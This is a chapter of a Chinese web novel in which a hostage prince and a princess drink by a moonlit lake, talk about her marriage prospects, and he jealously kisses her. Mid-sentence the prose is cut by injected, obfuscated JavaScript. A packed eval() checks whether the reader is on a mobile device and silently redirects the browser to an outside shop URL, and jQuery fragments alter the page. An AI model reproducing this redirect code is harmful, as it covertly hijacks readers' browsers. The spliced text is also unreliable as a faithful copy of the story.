34. 第34章 昨夜星辰昨夜风

作品:《质子与公主

    登上一小块山坡,往下眺望,可以看到无数个湖沼,牵丝带缕,彼此相连,在月光下,荡起层层波澜。


    “这是星宿湖,”端阳指着那一大片泉潦,“如果现在是白天,湖面会反射太阳的光,波光粼粼,就像星星一样。”


    夜里自有星辰,湖水有知,不与争辉,所以此时水色暗沉,只与秋月两相和,但并不妨碍名字里的诗意。


    不过秦异猜这八成是端阳自己瞎取的。


    果不其然,她坐到坡上,不打自招:“我取的,好听吗?”


    “说不定它早就有名字了。”秦异给她泼冷水。


    “无所谓啊,它可以只是我的星宿湖。”小公主这样说,完全不在乎湖的感受。


    所以她遭到了惩罚,忽至的夜风,吹得她打了个喷嚏。


    秦异低头,见端阳揉了揉鼻子,顺手脱下外衣,披到她身上。


    “我不冷的。”端阳道。


    相较于她,端阳更担心一副瘦弱身骨的秦异冻着。


    秦异没理会,还是把衣服留在了她肩头,叮嘱她小心着凉。


    端阳低头拢了拢还有余温的衣服,陡然想起自己带了驱寒的好东西,在怀里掏了掏。


    秦异眼见端阳凭空拿出一壶酒,震惊问:“你还带了酒?”


    “随手带的,”端阳拔开木塞,尝了一口,心觉甚好,高举给秦异,“要不要来一口,暖暖身子。”


    秦异依言接过酒壶,摇了摇,还有一大半,也随意坐到坡上,仰天饮了一口,还没下咽,被呛得咳了好几声。


    好烈!


    “哈哈哈,你没事吧?”她关切地凑过来问,还给他拍了拍背,却也挡不住她幸灾乐祸的笑。


    她故意的。


    秦异用力擦了擦嘴角,又饮了一口,咽了下去。这次已习惯很多,没再闹笑话给她看。


    端阳笑道:“这是武宁烧春,天冷的时候喝,一下子就暖和了。”


    武宁……烧春……


    难怪这么难喝。


    秦异抬起的动作一顿,那壶口分明已抵到他嘴边,腹中却一阵剧烈的翻腾。秦异再不想喝,手臂一伸,便把酒还给了端阳。


    端阳下意识伸手接过,刚想再喝一口,秦异又突然转过头来抢了回去。


    他猛然仰头,海饮了一口,全不似平时的慢斟慢饮、从容自得,好像要将至全部吞入腹中。


    端阳只担心他到时候不舒服,劝他:“少喝点。”


    秦异眉毛微挑,语气也讥诮:“你舍不得?”


    那么宝贝的清霜剑、祁红都送他了,他竟然问她是不是舍不得?


    端阳半开玩笑道:“我是怕你喝多了醉了。我可背不动你。”


    既然不是舍不得,那他就会饮尽最后一滴。秦异想着,又灌了几口,倒有一点疯魔劲。


    端阳也不晓得如何劝。


    坡下的星宿湖空明澄澈、波平如镜,明月倒映在水面,映出了上百个月影。忽有白鹭飞鸣而过,停在湖中央。


    端阳的目光也随着白鹭游移,感叹道:“我还从来没有晚上来看过,不过还是白天好看一点,下次我们白天来。”


    下次?年年岁岁花相似,岁岁年年人不同,下次出门,他们或许就不再是同行看花人,而她又会带谁来看她的星宿湖?


    秦异唇边勾起,很有点苦涩的意味,像自言自语的语气:“还有几个下次?”


    “你说什么?”端阳没太听清,追问了一句。


    少女的眼珠在夜里漆黑如玉,透着懵懂。


    “没什么。”秦异说,又喝了一口酒。


    如此,是否能醉倒?和她一样,做一回痴人,不知道、不挂念,也就能无忧无虑了。


    实则端阳听到了,明白秦异那些欲说还休、戛然而止的意思。她双手撑地,身体仰挺远眺,语意低沉:“我也不想嫁人。”


    话音刚落,有白鹭划然而去。


    秦异猛的转头看向她,但见她目光深远地望着湖面。


    端阳亦回头,对上秦异有些灼热的眼睛,坦然一笑。


    六英夫人的苦心,几次三番的相看,她怎么可能什么都不知道,而且还有史婵这颗珠玉在前。


    及笄当日,史婵与虞括的婚约已经定下,她又会有多少富


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468375|201345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余。


    端阳微不可察地叹出一口气,“我现在终于理解婵姐了,嫁给一个相熟的总比不相熟的好。”


    相熟的……


    秦异下意识捏紧了手中的酒壶颈,状似漫不经心问:“霍景吗?”


    “景哥哥?”她竟然还认真想了想,“挺好的,如果是景哥哥……”


    她当然会觉得好,所以她才会明知道隐含的意思还替赵王赐剑。霍景也不同于六英夫人安排的郎君,赵王的默认已经变成暗示。


    所以她会如愿。


    可他不希望她如愿。


    秦异胸膛突然涌起一股恼恨,一把按住她双肩,语气恶劣而强势:“不可以!”


    “什么不可以?”端阳不懂他突如其来的强势暴躁。


    什么,都不可以!


    不可以替那个人拿剑,也不可以喝那个人的酒……


    可她还要喋喋不休地说那些学剑的过往,说他们的两小无猜,说:“他人很好,一直就像大哥哥一样照顾我们。”


    他不想听!


    不要再说!


    只要看着他!


    秦异一把捏住她的腮靥,强迫她闭嘴。


    “秦异?”她满脸疑惑地看着他,握住他的手臂。


    她的手是凉的,风也是凉的。


    气血却开始翻涌,手也控制不住颤抖。他想抓住什么,可此时此地的一切,都不是属于他的。


    明年,他就会离开这里,像那只踏野孤鹭。纵有花香鸟语,离开时也义无反顾。


    他能留下什么?一切都会像凉风散去,如梦幻泡影,如露亦如电。


    他从来都是一个人。


    “你醉了吗?”美丽的幻影问他,用最温柔的话语撕裂他的表情。


    污浊的水再藏不住,顺着那些刻意视而不见的缝隙突破冰层,发出冰川崩裂的声音。


    一定是狰狞而丑陋。


    于是他捂住这双漆黑的眼睛,然后轻轻吻住幻影的双唇,如初春桃花瓣一样鲜嫩,而冰凉。


    在所有的梦里,他都不敢吻她。


    因为不想承认,欲因情生。